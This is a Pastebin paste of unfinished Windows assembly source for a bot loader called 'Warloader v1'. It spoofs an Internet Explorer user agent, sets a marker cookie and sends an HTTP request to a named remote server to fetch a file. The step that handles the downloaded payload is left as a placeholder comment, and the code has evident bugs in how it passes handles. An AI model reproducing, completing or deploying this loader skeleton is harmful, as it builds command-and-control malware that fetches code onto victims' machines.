Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ; Warloader v1 - Scenario11
- ; (c) subwar/Scenario11 2010
- format PE GUI 4.0
- entry start
- include "win32a.inc"
- ; data section
- section '.data' data readable writeable
- szUserAgent db "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0) ", 0
- szServer db "comsat.subwar.net",0 ; Server
- szURI db "/warbottest.txt",0 ; URL
- szURL db "http://comsat.subwar.net/warbottest.txt",0 ; Combo breaker!11
- szCookieName db "Warloader", 0 ; Cookie lol
- szCookieValue db "v1", 0 ; omg wat
- szDefaultVerb db "GET",0 ; method
- hIHandle dd ? ; InternetOpen handle
- hICHandle dd ? ; InternetConnect handle
- hWWWHandle dd ? ; HttpOpenRequest handle
- section '.code' code readable writeable executable
- start:
- ; Entry-point for our bot :-)
- xor ECX, ECX
- push ECX
- push ECX
- push 1
- push szUserAgent
- call [InternetOpen] ; Setups hIHandle
- mov [hIHandle], EAX ; Gets return value and stores in hIHandle
- push ECX
- push ECX
- push 3
- push ECX
- push ECX
- push 80
- push szServer
- push hIHandle
- call [InternetConnect]
- mov [hICHandle], EAX
- push 0
- push 0
- push 0
- push 0
- push 0
- push szURI
- push szDefaultVerb
- push hICHandle
- call [HttpOpenRequest]
- mov [hWWWHandle], EAX
- push szCookieValue
- push szCookieName
- push szURL
- call [InternetSetCookie] ; Ignore return value
- push 0
- push 0
- push 0
- push 0
- push [hWWWHandle]
- call [HttpSendRequest] ; SEND REQUEST LOLOZL
- cmp EAX, 0
- jz cleanup
- ; DO MAGIC HEAP STUFF HERE ^_^
- push 30000
- call [Sleep]
- cleanup: ; Cleanup lol
- push hIHandle
- call [InternetCloseHandle]
- xor ECX, ECX
- push ECX
- call [ExitProcess]
- ; imports
- section '.idata' import data readable
- library kernel32,"KERNEL32.DLL",\
- wininet,"WININET.DLL"
- import kernel32,\
- Sleep,'Sleep',\
- ExitProcess,'ExitProcess'
- import wininet,\
- InternetOpen,'InternetOpenA',\
- InternetConnect,'InternetConnectA',\
- HttpOpenRequest,'HttpOpenRequestA',\
- HttpSendRequest,'HttpSendRequestA',\
- InternetSetCookie,'InternetSetCookieA',\
- InternetCloseHandle, 'InternetCloseHandle',\
- InternetQueryDataAvailable, 'InternetQueryDataAvailable'
Advertisement
Add Comment
Please, Sign In to add comment